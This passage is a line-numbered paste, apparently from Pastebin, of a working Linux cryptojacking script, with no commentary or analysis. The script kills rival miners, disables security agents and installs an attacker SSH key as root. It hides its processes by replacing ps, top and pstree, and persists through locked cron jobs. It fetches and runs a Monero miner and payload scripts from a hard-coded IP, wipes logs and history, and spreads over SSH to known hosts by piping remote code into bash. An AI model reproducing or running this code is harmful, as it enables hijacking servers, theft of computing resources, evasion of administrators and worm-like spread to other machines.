  482. rm -rf /tmp/.mynews1234
  483. rm -rf /tmp/a3e12d
  484. rm -rf /tmp/.pt
  485. rm -rf /tmp/.pt.tgz
  486. rm -rf /tmp/.pt.tgz.1
  487. rm -rf /tmp/go
  488. rm -rf /tmp/java
  489. rm -rf /tmp/j2.conf
  490. rm -rf /tmp/.tmpnewasss
  491. rm -rf /tmp/java
  492. rm -rf /tmp/go.sh
  493. rm -rf /tmp/go2.sh
  494. rm -rf /tmp/khugepageds
  495. rm -rf /tmp/.censusqqqqqqqqq
  496. rm -rf /tmp/.kerberods
  497. rm -rf /tmp/kerberods
  498. rm -rf /tmp/seasame
  499. rm -rf /tmp/touch
  500. rm -rf /tmp/.p
  501. rm -rf /tmp/runtime2.sh
  502. rm -rf /tmp/runtime.sh
  503. rm -rf /etc/systemd/system/systemde.service*
  504. rm -fr /dev/shm/*
  505. rm -fr /dev/shm/.*
  506. pkill -f /dev/shm/
  507. rm -f /etc/ld.so.preload
  508. rm -f /usr/local/lib/libioset.so
  509. chattr -i /etc/ld.so.preload
  510. rm -f /etc/ld.so.preload
  511. systemctl stop moneroocean_miner.service
  512. systemctl stop systemde.service
  513. rm -f /usr/local/lib/libioset.so
  514. rm -rf /tmp/watchdogs
  515. rm -rf /etc/cron.d/tomcat
  516. rm -rf /etc/rc.d/init.d/watchdogs
  517. rm -rf /usr/sbin/watchdogs
  518. rm -f /tmp/kthrotlds
  519. rm -f /etc/rc.d/init.d/kthrotlds
  520. rm -rf /tmp/.sysbabyuuuuu12
  521. rm -rf /tmp/logo9.jpg
  522. rm -rf /tmp/miner.sh
  523. rm -rf /tmp/nullcrew
  524. rm -rf /tmp/proc
  525. rm -rf /tmp/2.sh
  526. rm /opt/atlassian/confluence/bin/1.sh
  527. rm /opt/atlassian/confluence/bin/1.sh.1
  528. rm /opt/atlassian/confluence/bin/1.sh.2
  529. rm /opt/atlassian/confluence/bin/1.sh.3
  530. rm /opt/atlassian/confluence/bin/3.sh
  531. rm /opt/atlassian/confluence/bin/3.sh.1
  532. rm /opt/atlassian/confluence/bin/3.sh.2
  533. rm /opt/atlassian/confluence/bin/3.sh.3
  534. rm -rf /var/tmp/f41
  535. rm -rf /var/tmp/2.sh
  536. rm -rf /var/tmp/config.json
  537. rm -rf /var/tmp/xmrig
  538. rm -rf /var/tmp/1.so
  539. rm -rf /var/tmp/kworkerds3
  540. rm -rf /var/tmp/kworkerdssx
  541. rm -rf /var/tmp/kworkerds
  542. rm -rf /var/tmp/wc.conf
  543. rm -rf /var/tmp/nadezhda.
  544. rm -rf /var/tmp/nadezhda.arm
  545. rm -rf /var/tmp/nadezhda.arm.1
  546. rm -rf /var/tmp/nadezhda.arm.2
  547. rm -rf /var/tmp/nadezhda.x86_64
  548. rm -rf /var/tmp/nadezhda.x86_64.1
  549. rm -rf /var/tmp/nadezhda.x86_64.2
  550. rm -rf /var/tmp/sustse3
  551. rm -rf /var/tmp/sustse
  552. rm -rf /var/tmp/moneroocean/
  553. rm -rf /var/tmp/devtool
  554. rm -rf /var/tmp/devtools
  555. rm -rf /var/tmp/play.sh
  556. rm -rf /var/tmp/systemctI
  557. rm -rf /var/tmp/.java
  558. rm -rf /var/tmp/1.sh
  559. rm -rf /var/tmp/conf.n
  560. rm -r /var/tmp/lib
  561. rm -r /var/tmp/.lib
  562. rm -rf /opt/systemd-service.sh
  563. rm -rf /opt/.systemd-service.sh
  564. rm -rf /root/.systemd-service.sh
  565. rm -rf /usr/share/\[crypto\]
  566. chattr -R -ia /usr/bin/TeamTNT/*
  567. chattr -R -ia /usr/bin/watchdogd*
  568. rm -rf /usr/bin/watchdogd*
  569. service crypto stop
  570. systemctl stop crypto.service
  571. systemctl stop watchdogd
  572. service watchdogd stop
  573. rm -fr /usr/bin/TeamTNT/*
  574. chattr -iau /tmp/lok
  575. chmod +700 /tmp/lok
  576. rm -rf /tmp/lok
  577. sleep 1
  578. chattr -i /tmp/kdevtmpfsi
  579. echo 1 > /tmp/kdevtmpfsi
  580. chattr +i /tmp/kdevtmpfsi
  581. sleep 1
  582. chattr -i /usr/lib/systemd/systemd-update-daily
  583. echo 1 > /usr/lib/systemd/systemd-update-daily
  584. chattr +i /usr/lib/systemd/systemd-update-daily
  585. >/tmp/svcupdate
  586. >/tmp/svcguard
  587. >/etc/svcupdate
  588. >/etc/svcguard
  589. >/etc/cron.daily/logrotate
  590. >/etc/cron.hourly/0anacron
  591. >/etc/rc.d/rc.local
  592. #yum install -y docker.io || apt-get install docker.io;
  593. docker ps | grep "pocosow" | awk '{print $1}' | xargs -I % docker kill %
  594. docker ps | grep "gakeaws" | awk '{print $1}' | xargs -I % docker kill %
  595. docker ps | grep "azulu" | awk '{print $1}' | xargs -I % docker kill %
  596. docker ps | grep "auto" | awk '{print $1}' | xargs -I % docker kill %
  597. docker ps | grep "xmr" | awk '{print $1}' | xargs -I % docker kill %
  598. docker ps | grep "mine" | awk '{print $1}' | xargs -I % docker kill %
  599. docker ps | grep "slowhttp" | awk '{print $1}' | xargs -I % docker kill %
  600. docker ps | grep "bash.shell" | awk '{print $1}' | xargs -I % docker kill %
  601. docker ps | grep "entrypoint.sh" | awk '{print $1}' | xargs -I % docker kill %
  602. docker ps | grep "/var/sbin/bash" | awk '{print $1}' | xargs -I % docker kill %
  603. docker images -a | grep "pocosow" | awk '{print $3}' | xargs -I % docker rmi -f %
  604. docker images -a | grep "gakeaws" | awk '{print $3}' | xargs -I % docker rmi -f %
  605. docker images -a | grep "buster-slim" | awk '{print $3}' | xargs -I % docker rmi -f %
  606. docker images -a | grep "hello-" | awk '{print $3}' | xargs -I % docker rmi -f %
  607. docker images -a | grep "azulu" | awk '{print $3}' | xargs -I % docker rmi -f %
  608. docker images -a | grep "registry" | awk '{print $3}' | xargs -I % docker rmi -f %
  609. docker images -a | grep "xmr" | awk '{print $3}' | xargs -I % docker rmi -f %
  610. docker images -a | grep "auto" | awk '{print $3}' | xargs -I % docker rmi -f %
  611. docker images -a | grep "mine" | awk '{print $3}' | xargs -I % docker rmi -f %
  612. docker images -a | grep "monero" | awk '{print $3}' | xargs -I % docker rmi -f %
  613. docker images -a | grep "slowhttp" | awk '{print $3}' | xargs -I % docker rmi -f %
  614. #echo SELINUX=disabled >/etc/selinux/config
  615. service apparmor stop
  616. systemctl disable apparmor
  617. service aliyun.service stop
  618. systemctl disable aliyun.service
  619. ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I % kill -9 %
  620. ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I % kill -9 %
  621. rm -rf /usr/local/aegis
  622. chattr -R -ia /var/spool/cron
  623. chattr -ia /etc/crontab
  624. chattr -R -ia /etc/cron.d
  625. chattr -R -ia /var/spool/cron/crontabs
  626. crontab -r
  627. rm -rf /var/spool/cron/*
  628. rm -rf /etc/cron.d/*
  629. rm -rf /var/spool/cron/crontabs
  630. rm -rf /etc/crontab
  631. }
  632. kill_miner_proc
  633.  
  634. kill_sus_proc()
  635. {
  636.     ps axf -o "pid"|while read procid
  637.     do
  638.             ls -l /proc/$procid/exe | grep /tmp
  639.             if [ $? -ne 1 ]
  640.             then
  641.                     cat /proc/$procid/cmdline| grep -a -E "zzh"
  642.                     if [ $? -ne 0 ]
  643.                     then
  644.                             kill -9 $procid
  645.                     else
  646.                             echo "don't kill"
  647.                     fi
  648.             fi
  649.     done
  650.     ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid
  651.     do
  652.             cat /proc/$procid/cmdline| grep -a -E "zzh"
  653.             if [ $? -ne 0 ]
  654.             then
  655.                     kill -9 $procid
  656.             else
  657.                     echo "don't kill"
  658.             fi
  659.     done
  660. }
  661. kill_sus_proc
  662.  
  663. nameserver(){  
  664. grep -q 1.1.1.1 /etc/resolv.conf || chattr -i /etc/resolv.conf 2>/dev/null 1>/dev/null; echo "nameserver 1.1.1.1" >> /etc/resolv.conf; chattr +i /etc/resolv.conf 2>/dev/null 1>/dev/null
  665. }
  666.  
  667. nameserver
  668.  
  669. fuckyou(){
  670.  
  671. $(docker rm $(docker ps | grep -v grep | grep "/root/startup.sh" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)
  672. $(docker rm $(docker ps | grep -v grep | grep "widoc26117/xmr" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)
  673. $(docker rm $(docker ps | grep -v grep | grep "zbrtgwlxz" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)
  674. $(docker rm $(docker ps | grep -v grep | grep "tail -f /dev/null" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)
  675. $(docker rm $(docker ps | grep -v grep | grep "/usr/bin/supervisor…" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)
  676. $(docker rm $(docker ps | grep -v grep | grep "/app/BitLockerServi…" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)
  677.  
  678. rm -f /tmp/moneroocean/xmrig 2>/dev/null 1>/dev/null
  679. pkill -f /tmp/moneroocean/xmrig 2>/dev/null 1>/dev/null
  680. rm -fr /tmp/moneroocean/ 2>/dev/null 1>/dev/null
  681. killall -9 xmrig 2>/dev/null 1>/dev/null
  682.  
  683. if [ -f /root/.tmp/xmrig ]; then
  684. chattr -iR /root/.tmp/ 2>/dev/null 1>/dev/null
  685. tmpxmrigfile="/root/.tmp/miner.sh"
  686. rm -f $tmpxmrigfile 2>/dev/null 1>/dev/null
  687. pkill -f $tmpxmrigfile 2>/dev/null 1>/dev/null
  688. kill $(pidof $tmpxmrigfile) 2>/dev/null 1>/dev/null
  689. chmod +x $tmpxmrigfile 2>/dev/null 1>/dev/null
  690. chattr +i $tmpxmrigfile 2>/dev/null 1>/dev/null
  691. pkill -f $tmpxmrigfile 2>/dev/null 1>/dev/null
  692. kill $(pidof $tmpxmrigfile) 2>/dev/null 1>/dev/null
  693. killall $tmpxmrigfile 2>/dev/null 1>/dev/null
  694. chmod -x /root/.tmp/xmrig 2>/dev/null 1>/dev/null
  695. rm -f /root/.tmp/xmrig 2>/dev/null 1>/dev/null
  696. chattr +i /root/.tmp/xmrig 2>/dev/null 1>/dev/null
  697. pkill -f /root/.tmp/xmrig 2>/dev/null 1>/dev/null
  698. ps ax| grep xmrig 2>/dev/null 1>/dev/null
  699. fi
  700.  
  701. BASH00=$(ps ax | grep -v grep |  grep "/root/.tmp00/bash")
  702. if [ ! -z "$BASH00" ];
  703. then
  704. chattr -i /var/spool/cron/root 2>/dev/null 1>/dev/null
  705. chmod 1777 /var/spool/cron/root 2>/dev/null 1>/dev/null
  706. chmod -x /var/spool/cron/root 2>/dev/null 1>/dev/null
  707. echo " " > /var/spool/cron/root 2>/dev/null 1>/dev/null
  708. rm -f /var/spool/cron/root 2>/dev/null 1>/dev/null
  709. chattr -i /root/.tmp00/bash 2>/dev/null 1>/dev/null
  710. chmod -x /root/.tmp00/bash 2>/dev/null 1>/dev/null
  711. pkill -f /root/.tmp00/bash 2>/dev/null 1>/dev/null
  712. kill $(ps ax | grep -v grep | grep "/root/.tmp00/bash" | awk '{print $1}') 2>/dev/null 1>/dev/null
  713. kill $(pidof /root/.tmp00/bash) 2>/dev/null 1>/dev/null
  714. echo " " > /root/.tmp00/bash 2>/dev/null 1>/dev/null
  715. rm -f /root/.tmp00/bash 2>/dev/null 1>/dev/null
  716. echo "fuckyou" > /root/.tmp00/bash
  717. chattr +i /root/.tmp00/bash 2>/dev/null 1>/dev/null
  718. history -c 2>/dev/null 1>/dev/null
  719. fi
  720.  
  721.  
  722. KINSING1=$(ps ax | grep -v grep |  grep "/var/tmp/kinsing")
  723. if [ ! -z "$KINSING1" ];
  724. then
  725. chattr -i /var/tmp/kinsing 2>/dev/null 1>/dev/null
  726. chmod -x /var/tmp/kinsing 2>/dev/null 1>/dev/null
  727. pkill -f /var/tmp/kinsing 2>/dev/null 1>/dev/null
  728. kill $(ps ax | grep -v grep | grep "/var/tmp/kinsing" | awk '{print $1}') 2>/dev/null 1>/dev/null
  729. kill $(pidof /var/tmp/kinsing) 2>/dev/null 1>/dev/null
  730. echo " " > /var/tmp/kinsing 2>/dev/null 1>/dev/null
  731. rm -f /var/tmp/kinsing 2>/dev/null 1>/dev/null
  732. echo "fuckyou" > /var/tmp/kinsing
  733. chattr +i /var/tmp/kinsing 2>/dev/null 1>/dev/null
  734. history -c 2>/dev/null 1>/dev/null
  735. fi
  736.  
  737. KINSING2=$(ps ax | grep -v grep |  grep "/tmp/kdevtmpfsi")
  738. if [ ! -z "$KINSING2" ];
  739. then
  740. chattr -i /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null
  741. chmod -x /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null
  742. pkill -f /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null
  743. kill $(ps ax | grep -v grep | grep "/tmp/kdevtmpfsi" | awk '{print $1}') 2>/dev/null 1>/dev/null
  744. kill $(pidof /tmp/kdevtmpfsi) 2>/dev/null 1>/dev/null
  745. echo " " > /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null
  746. rm -f /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null
  747. echo "fuckyou" > /tmp/kdevtmpfsi
  748. chattr +i /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null
  749. history -c 2>/dev/null 1>/dev/null
  750. fi
  751.  
  752. }
  753.  
  754. fuckyou
  755.  
  756. downloads()
  757. {
  758.     if [ -f "/usr/bin/curl" ]
  759.     then
  760.   echo $1,$2
  761.         http_code=`curl -I -m 50 -o /dev/null -s -w %{http_code} $1`
  762.         if [ "$http_code" -eq "200" ]
  763.         then
  764.             curl --connect-timeout 100 --retry 100 $1 > $2
  765.         elif [ "$http_code" -eq "405" ]
  766.         then
  767.             curl --connect-timeout 100 --retry 100 $1 > $2
  768.         else
  769.             curl --connect-timeout 100 --retry 100 $3 > $2
  770.         fi
  771.     elif [ -f "/usr/bin/cd1" ]
  772.     then
  773.         http_code=`cd1 -I -m 50 -o /dev/null -s -w %{http_code} $1`
  774.         if [ "$http_code" -eq "200" ]
  775.         then
  776.             cd1 --connect-timeout 100 --retry 100 $1 > $2
  777.         elif [ "$http_code" -eq "405" ]
  778.         then
  779.             cd1 --connect-timeout 100 --retry 100 $1 > $2
  780.         else
  781.             cd1 --connect-timeout 100 --retry 100 $3 > $2
  782.         fi
  783.     elif [ -f "/usr/bin/wget" ]
  784.     then
  785.         wget --timeout=50 --tries=100 -O $2 $1
  786.         if [ $? -ne 0 ]
  787.   then
  788.     wget --timeout=100 --tries=100 -O $2 $3
  789.         fi
  790.     elif [ -f "/usr/bin/wd1" ]
  791.     then
  792.         wd1 --timeout=100 --tries=100 -O $2 $1
  793.         if [ $? -eq 0 ]
  794.         then
  795.             wd1 --timeout=100 --tries=100 -O $2 $3
  796.         fi
  797.     fi
  798. }
  799.  
  800.  
  801. unlock_cron()
  802. {
  803.     chattr -R -ia /var/spool/cron
  804.     chattr -ia /etc/crontab
  805.     chattr -R -ia /var/spool/cron/crontabs
  806.     chattr -R -ia /etc/cron.d
  807. }
  808.  
  809. lock_cron()
  810. {
  811.     chattr -R +ia /var/spool/cron
  812.     chattr +ia /etc/crontab
  813.     chattr -R +ia /var/spool/cron/crontabs
  814.     chattr -R +ia /etc/cron.d
  815. }
  816.  
  817.  
  818. if [ -f "$rtdir" ]
  819. then
  820.         echo "i am root"
  821.         mkdir -p /root/.ssh
  822.         echo "goto 1" >> /etc/zzhs
  823.         chattr -ia /etc/zzh*
  824.         chattr -ia /etc/newinit.sh*
  825.         chattr -ia /root/.ssh/authorized_keys*
  826.         chattr -R -ia /root/.ssh
  827.     if [ -f "/bin/ps.original" ]
  828.     then
  829.         echo "/bin/ps changed"
  830.     else
  831.         mv /bin/ps /bin/ps.original
  832.         echo "#! /bin/bash">>/bin/ps
  833.         echo "ps.original \$@ | grep -v \"zzh\|pnscan\"">>/bin/ps
  834.         chmod +x /bin/ps
  835.     touch -d 20160825 /bin/ps
  836.         echo "/bin/ps changing"
  837.     fi
  838.     if [ -f "/bin/top.original" ]
  839.     then
  840.         echo "/bin/top changed"
  841.     else
  842.         mv /bin/top /bin/top.original
  843.         echo "#! /bin/bash">>/bin/top
  844.         echo "top.original \$@ | grep -v \"zzh\|pnscan\"">>/bin/top
  845.         chmod +x /bin/top
  846.     touch -d 20160825 /bin/top
  847.         echo "/bin/top changing"
  848.     fi
  849.     if [ -f "/bin/pstree.original" ]
  850.     then
  851.         echo "/bin/pstree changed"
  852.     else
  853.         mv /bin/pstree /bin/pstree.original
  854.         echo "#! /bin/bash">>/bin/pstree
  855.         echo "pstree.original \$@ | grep -v \"zzh\|pnscan\"">>/bin/pstree
  856.         chmod +x /bin/pstree
  857.     touch -d 20160825 /bin/pstree
  858.         echo "/bin/pstree changing"
  859.     fi
  860.     if [ -f "/bin/chattr" ]
  861.   then
  862.     chattrsize=`ls -l /bin/chattr | awk '{ print $5 }'`
  863.     if [ "$chattrsize" -lt "$chattr_size" ]
  864.     then
  865.       yum -y remove e2fsprogs
  866.             yum -y install e2fsprogs
  867.     else
  868.       echo "no need install chattr"
  869.     fi
  870.   else
  871.       yum -y remove e2fsprogs
  872.             yum -y install e2fsprogs
  873.     fi
  874.       unlock_cron
  875.                         rm -f ${crondir}
  876.                         rm -f /etc/cron.d/zzh
  877.                         rm -f /etc/crontab
  878.       echo "*/30 * * * * sh /etc/newinit.sh >/dev/null 2>&1" >> ${crondir}
  879.       echo "*/40 * * * * root sh /etc/newinit.sh >/dev/null 2>&1" >> /etc/cron.d/zzh
  880.       echo "0 1 * * * root sh /etc/newinit.sh >/dev/null 2>&1" >> /etc/crontab
  881.                         echo crontab created
  882.       lock_cron
  883.         chmod 700 /root/.ssh/
  884.         echo >> /root/.ssh/authorized_keys
  885.         chmod 600 /root/.ssh/authorized_keys
  886.         echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3QgqCevA1UIX9jkWJNzaDHmCFQMCVn6DlhT8Tj1CcBLouOPpuBVqGoZem9UT/sdy563H+e1cQD6LRA9lgyBO8VBOuyjlPf/rdYeXZRv9eFZ4ROGCOX/dvNzV9XdEyPX+znEL4AS45ko0obSqNGbserHPcKtXBjjcf9zWtRvBA4lteyXENWeCST61OhVI0K7bNTUHsQhFC0rgiGFqVv+kIwMVauMxeNd5PjsES4C5P9G8Ynligmdxp7LdOFeb5/V/iO8eceQsxLyXVCe2Jue5gaaOIbKy2j2HPxj6qK2BUqlx+dJdat6HE2HyPWDKD5jPyA5RCSs1zphe7BQjH20cX1nyzbhxNNQncs5BfB0kk2Qcb9IS/ofX9p8zIVKLUHMUNC9mKqPljzxH/3wYnOZrgebS4uwfyad+6SQ1oRfs1vWotXxSz1hBjhRPpUqzA7J865AcSOZBaoRsRKZ1BaGMyJyjIfkecFgeDpmbHzOzCjIXAeh20S2wLYZGdrhgVEr0= uc1" > /root/.ssh/authorized_keys
  887.         cd1 http://45.133.203.192/cleanfda/call.txt
  888.         wget -q -O- http://45.133.203.192/cleanfda/call.txt
  889.        
  890.  
  891.         file="/etc/zzh"
  892.  
  893.    
  894.     if [ -f "/etc/zzh" ]
  895.     then
  896.             filesize1=`ls -l /etc/zzh | awk '{ print $5 }'`
  897.             if [ "$filesize1" -ne "$miner_size" ]
  898.             then
  899.                 pkill -f zzh
  900.                 rm /etc/zzh
  901.                 downloads $miner_url /etc/zzh $miner_url_backup
  902.             else
  903.                 echo "not need download"
  904.             fi
  905.     else
  906.             downloads $miner_url /etc/zzh $miner_url_backup
  907.     fi
  908.  
  909.  
  910.     downloads $sh_url /etc/newinit.sh $sh_url_backup
  911.  
  912.  
  913.     chmod 777 /etc/zzh
  914.     if [ -f "/bin/ps.original" ]
  915.     then
  916.         ps.original -fe|grep zzh |grep -v grep
  917.     else
  918.         ps -fe|grep zzh |grep -v grep
  919.     fi
  920.     if [ $? -ne 0 ]
  921.     then
  922.                 cd /etc
  923.                 echo "not root runing"
  924.                 sleep 5s
  925.                
  926.                 ./zzh --log-file=/etc/etc --donate-level 1 --keepalive --no-color --cpu-priority 5 -o xmr.f2pool.com:13531 -u 82etS8QzVhqdiL6LMbb85BdEC3KgJeRGT3X1F3DQBnJa2tzgBJ54bn4aNDjuWDtpygBsRqcfGRK4gbbw3xUy3oJv7TwpUG4.clean -k --coin monero -o xmr-eu1.nanopool.org:14444 -u 82etS8QzVhqdiL6LMbb85BdEC3KgJeRGT3X1F3DQBnJa2tzgBJ54bn4aNDjuWDtpygBsRqcfGRK4gbbw3xUy3oJv7TwpUG4.clean -k --coin monero -o xmr.pool.gntl.co.uk:10009 -u 82etS8QzVhqdiL6LMbb85BdEC3KgJeRGT3X1F3DQBnJa2tzgBJ54bn4aNDjuWDtpygBsRqcfGRK4gbbw3xUy3oJv7TwpUG4.clean --tls -k --coin monero -o 80.211.206.105:9000 -u 82etS8QzVhqdiL6LMbb85BdEC3KgJeRGT3X1F3DQBnJa2tzgBJ54bn4aNDjuWDtpygBsRqcfGRK4gbbw3xUy3oJv7TwpUG4.clean --tls -k --coin monero --background &
  927.     else
  928.                 echo "root runing....."
  929.     fi
  930.  
  931.     chmod 777 /etc/zzh
  932.     chattr +ia /etc/zzh
  933.     chmod 777 /etc/newinit.sh
  934.     chattr +ia /etc/newinit.sh
  935.     chmod 600 /root/.ssh/authorized_keys
  936.     chattr +ia /root/.ssh/authorized_keys
  937. else
  938.     echo "goto 1" > /tmp/zzhs
  939.     chattr -ia /tmp/zzh*
  940.     chattr -ia /tmp/newinit.sh*
  941.        
  942.     if [ ! -f "/usr/bin/crontab" ]
  943.   then
  944.       unlock_cron
  945.       echo "*/30 * * * * sh /tmp/newinit.sh >/dev/null 2>&1" >> ${crondir}
  946.       lock_cron
  947.   else
  948.       unlock_cron
  949.       [[ $cont =~ "newinit.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /tmp/newinit.sh >/dev/null 2>&1") | crontab -
  950.       lock_cron
  951.   fi
  952.  
  953.  
  954.     if [ -f "/tmp/zzh" ]
  955.     then    
  956.         filesize1=`ls -l /tmp/zzh | awk '{ print $5 }'`
  957.         if [ "$filesize1" -ne "$miner_size" ]
  958.         then
  959.                 pkill -f zzh
  960.                 rm /tmp/zzh
  961.                 downloads $miner_url /tmp/zzh $miner_url_backup
  962.         else
  963.                 echo "no need download"
  964.         fi
  965.     else
  966.             downloads $miner_url /tmp/zzh $miner_url_backup
  967.     fi
  968.  
  969.  
  970.     echo "i am here"
  971.     downloads $sh_url /tmp/newinit.sh $sh_url_backup
  972.  
  973.     ps -fe|grep zzh |grep -v grep
  974.         if [ $? -ne 0 ]
  975.             then
  976.                 echo "not tmp runing"
  977.                 cd /tmp
  978.                 chmod 777 zzh
  979.                 sleep 5s
  980.              
  981.                 ./zzh --log-file=/etc/etc --donate-level 1 --keepalive --no-color --cpu-priority 5 -o xmr.f2pool.com:13531 -u 82etS8QzVhqdiL6LMbb85BdEC3KgJeRGT3X1F3DQBnJa2tzgBJ54bn4aNDjuWDtpygBsRqcfGRK4gbbw3xUy3oJv7TwpUG4.clean -k --coin monero -o xmr-eu1.nanopool.org:14444 -u 82etS8QzVhqdiL6LMbb85BdEC3KgJeRGT3X1F3DQBnJa2tzgBJ54bn4aNDjuWDtpygBsRqcfGRK4gbbw3xUy3oJv7TwpUG4.clean -k --coin monero -o xmr.pool.gntl.co.uk:10009 -u 82etS8QzVhqdiL6LMbb85BdEC3KgJeRGT3X1F3DQBnJa2tzgBJ54bn4aNDjuWDtpygBsRqcfGRK4gbbw3xUy3oJv7TwpUG4.clean --tls -k --coin monero -o 80.211.206.105:9000 -u 82etS8QzVhqdiL6LMbb85BdEC3KgJeRGT3X1F3DQBnJa2tzgBJ54bn4aNDjuWDtpygBsRqcfGRK4gbbw3xUy3oJv7TwpUG4.clean --tls -k --coin monero --background &
  982.             else
  983.                 echo "tmp runing....."
  984.         fi
  985.  
  986.     chmod 777 /tmp/zzh
  987.     chattr +i /tmp/zzh
  988.     chmod 777 /tmp/newinit.sh
  989.     chattr +i /tmp/newinit.sh
  990.        
  991. fi
  992.  
  993. iptables -F
  994. iptables -X
  995. iptables -A OUTPUT -p tcp --dport 5555 -j DROP
  996. iptables -A OUTPUT -p tcp --dport 7777 -j DROP
  997. iptables -A OUTPUT -p tcp --dport 9999 -j DROP
  998. iptables -A OUTPUT -p tcp --dport 9999 -j DROP
  999. iptables -A OUTPUT -p tcp --dport 10008 -j DROP
  1000. service iptables reload
  1001. history -c
  1002. echo > /var/spool/mail/root
  1003. echo > /var/log/wtmp
  1004. echo > /var/log/secure
  1005. echo > /root/.bash_history
  1006. chmod 444 /usr/bin/chattr
  1007. chmod 444 /bin/chattr
  1008. yum install -y bash 2>/dev/null
  1009. apt install -y bash 2>/dev/null
  1010. apt-get install -y bash 2>/dev/null
  1011. if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  1012.   for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'curl -o-  http://45.133.203.192/cleanfda/init.sh | bash >/dev/null 2>&1 &' & done
  1013. fi
  1014. if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  1015.   for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'cd1 -o-  http://45.133.203.192/cleanfda/init.sh | bash >/dev/null 2>&1 &' & done
  1016. fi
  1017. echo "$bbdir"
  1018. echo "$bbdira"
  1019.  
  1020. $bbdir -fsSL http://45.133.203.192/cleanfda/is.sh | bash
  1021. $bbdira -fsSL http://45.133.203.192/cleanfda/is.sh | bash
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!